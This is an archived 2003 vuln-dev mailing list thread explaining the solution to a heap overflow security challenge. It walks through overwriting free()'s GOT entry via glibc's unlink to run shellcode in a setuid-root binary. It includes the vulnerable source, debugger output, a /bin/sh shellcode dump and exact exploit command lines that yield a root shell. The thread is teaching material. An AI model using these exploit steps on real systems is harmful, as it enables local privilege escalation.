Jon,
I don't know about yours, but my version of free() (glibc-2.2.93)
trashes bytes 8-12 of the NOP sled as a side effect of the bogus unlink.
If I execute this trash, it acts like a call into bad memory and I
segfault. Fortunately, I found I can avoid this by adding a 12 byte
jump ("\xeb\x0c") at the front of the NOP sled.
Just though it was worth mentioning.
Cameron
-----Original Message-----
From: Jon Erickson [mailto:matrixat_private]
Sent: Wednesday, May 14, 2003 1:57 PM
To: vuln-devat_private
Subject: Re: vulndev1.c solution (warning SPOILER)
Okay, I got a lot of e-mails asking for a more in-depth explanation of
this.. so instead of answering these e-mails individually, I'm going to
post to the list... cuz I figured it might be helpful to everyone..
And if I mess anything up, please correct me.. here goes..
On Tue, 13 May 2003 18:22:45 -0700
Jose Ronnick <matrixat_private> wrote:
>
> matrix@overdose vuln-dev $ cat vulndev1.c
> // vulndev-1.c
> // vuln-dev mailing list security challenge #1
> // by Aaron Adams <aadamsat_private>
> // Spot the error in this program.
>
> #include <stdio.h>
> #include <stdlib.h>
>
> #define SIZE 252
>
> int
> main(int argc, char *argv[])
> {
> int i;
> char *p1, *p2;
> char *buf1 = malloc(SIZE);
> char *buf2 = malloc(SIZE);
>
> if (argc != 3)
> exit(1);
>
> p1 = argv[1], p2 = argv[2];
> printf("p1 is at %p\n", p1); // DEBUG
> strncpy(buf2, p2, SIZE);
> for (i = 0; i <= SIZE && p1[i] != '\0'; i++)
> buf1[i] = p1[i];
> free(buf1);
> free(buf2);
> return 0;
> }
This is just the code with an added debugging statement to display the
address of p1, which is actually the first argument (on the stack). In
the case of a non-executable stack, the execution could be returned into
buf1+8ish. I liked the way Marco Ivaldi used ltrace to get the
address.. I always used to use gdb.. learn something new everyday.. =)
> matrix@overdose vuln-dev $ gcc -o vuln1 vulndev1.c
> matrix@overdose vuln-dev $ sudo chown root.root ./vuln1
> matrix@overdose vuln-dev $ sudo chmod u+s ./vuln1
Just compiling and setting the binary suid root...
> matrix@overdose vuln-dev $ objdump -R ./vuln1
>
> ./vuln1: file format elf32-i386
>
> DYNAMIC RELOCATION RECORDS
> OFFSET TYPE VALUE
> 08049654 R_386_GLOB_DAT __gmon_start__
> 0804963c R_386_JUMP_SLOT malloc
> 08049640 R_386_JUMP_SLOT __libc_start_main
> 08049644 R_386_JUMP_SLOT printf
> 08049648 R_386_JUMP_SLOT exit
> 0804964c R_386_JUMP_SLOT free
> 08049650 R_386_JUMP_SLOT strncpy
>
Here, I'm really going after the like with "free" on it. This is the
address of free in the Global Offset Table (GOT). This table contains
the addresses of various functions and is used by the Procedure Linking
Table (PLT). The PLT has pointers to pointers in it.. PLT contains
pointers to the GOT, which has pointers to the various functions. Funny
thing is.. the PLT is marked read-only.. but the GOT isn't.. =)
The basic idea here is to overwrite the address of the free() function
in the GOT, with the address of my shellcode. Then when the program
tries to call free() for the second time, instead of jumping to the
free() function, execution will flow to the shellcode...
Also, you could use dtors here...
>
> matrix@overdose vuln-dev $ pcalc 0x4c-12
> 64 0x40 0y1000000
Okay, here I'm just subtracting 12 from the address of the free()
function.. to get the address 0x08049640.. This is because later I'm
going to be tricking the unlink part of the free call.. When memory is
allocated on the heap, there's a control structure (like a header) for
each chunk.. part of this struct are pointers back (bk) and forward
(fd) bk is suppose to point to the previous chunk and fd at the next
chunk.. Anyway.. part of the unlink call does this to the next chunk
header:
*(next->fd + 12) = next->bk
err... that's confusing... this might make it a bit clearer...
matrix@overdose vuln-dev $ ulimit -c unlimited
matrix@overdose vuln-dev $ gcc -o vuln vulndev1.c matrix@overdose
vuln-dev $ ./vuln `perl -e 'print "A"x253;'` ABCD1234 p1 is at
0xbffff833 Segmentation fault (core dumped) matrix@overdose vuln-dev $
gdb -q -c core ./vuln Core was generated by `./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x40096acf in _int_free () from /lib/libc.so.6
(gdb) x/i $eip
0x40096acf <_int_free+191>: mov %eax,0xc(%edx)
(gdb) info reg eax edx
eax 0x34333231 875770417
edx 0x44434241 1145258561
(gdb)
So the instruction it barfed on was "mov %eax, 0xc(%edx)". Basically,
it's trying to copy the address from the register eax into edx shifted
by 12 bytes.. so... to get the address from eax to copy into the address
0x0804964c, we need to supply it with 0x08049640 (12 less)... more on
this later..
> matrix@overdose vuln-dev $ od -ch shell
> 0000000 1 300 260 F 1 333 1 311 315 200 353 026 [ 1 300
210
> c031 46b0 db31 c931 80cd 16eb 315b 88c0
> 0000020 C \a 211 [ \b 211 C \f 260 \v 215 K \b 215 S
\f
> 0743 5b89 8908 0c43 0bb0 4b8d 8d08 0c53
> 0000040 315 200 350 345 377 377 377 / b i n / s h
> 80cd e5e8 ffff 2fff 6962 2f6e 6873
> 0000056
> matrix@overdose vuln-dev $ wc -c shell
> 46 shell
Just displaying the shellcode and it's length...
> matrix@overdose vuln-dev $ pcalc 252-46
> 206 0xce 0y11001110
subtracting the shellcode length from the buffer length..
> matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x206;'``cat
> shell``printf "\x0b"` `printf "\x40\x96\x04\x08ABCD"` p1 is at
> 0xbffff839 Segmentation fault
Run the program once to get the address of p1..
> matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x206;'``cat
> shell``printf "\x0b"` `printf "\x40\x96\x04\x08\x39\xf8\xff\xbf"`
> p1 is at 0xbffff839
> sh-2.05b# id
> uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio)
> sh-2.05b#
and then feed it back in for the return address.. if you notice in the
gdb session above, edx and eax were ABCD and 1234, respectively.. So
instead of ABCD, we use the address of free() in the GOT minus 12.. and
instead of 1234, we use the address to the shellcode.. I put 206 bytes
of A in front of the shellcode to act as a NOP sled.. the character A is
equivalent to the machine code instruction "inc %ecx" in x86 arch.. so
it basically works the same.. but it's just printable and cooler..
Having this sled as a spacer just gives me 206 bytes of slop space..
as for the byte of \x0b.. this could have really been anything, as long
as the least sig bit was 0x1.. This is how the allocation/deallocation
functions mark the previous chunk as in use.. This tricks the first
free() call into overwriting the GOT entry, using data from buf2 (which
it thinks it part of a chunk header).. I hope this helped clarify.. if
anyone else can add more to this please do..
--
%JOSE_RONNICK%50,:PTX-!399-Purr-!TTTP[XS\-.aa$-do+sP-x121-{Smm-|zq`P-wXq
v-kxwx-5yyzP-11B5-0av(-4Gz!P-~]cz-HcayP-YLg/-wyx0-zyx!P-<C19-~mvIP-PqcJ-
yaa7P-c0oe-rAypP-I$*F-q)cjP-*22a-WPjDP-5134-tPUn-w4wxP-118B-WV4w-xx4vPPP
PPPPPPPPPPPPPPPPPPP
This archive was generated by hypermail 2b30 : Thu May 15 2003 - 22:39:05 PDT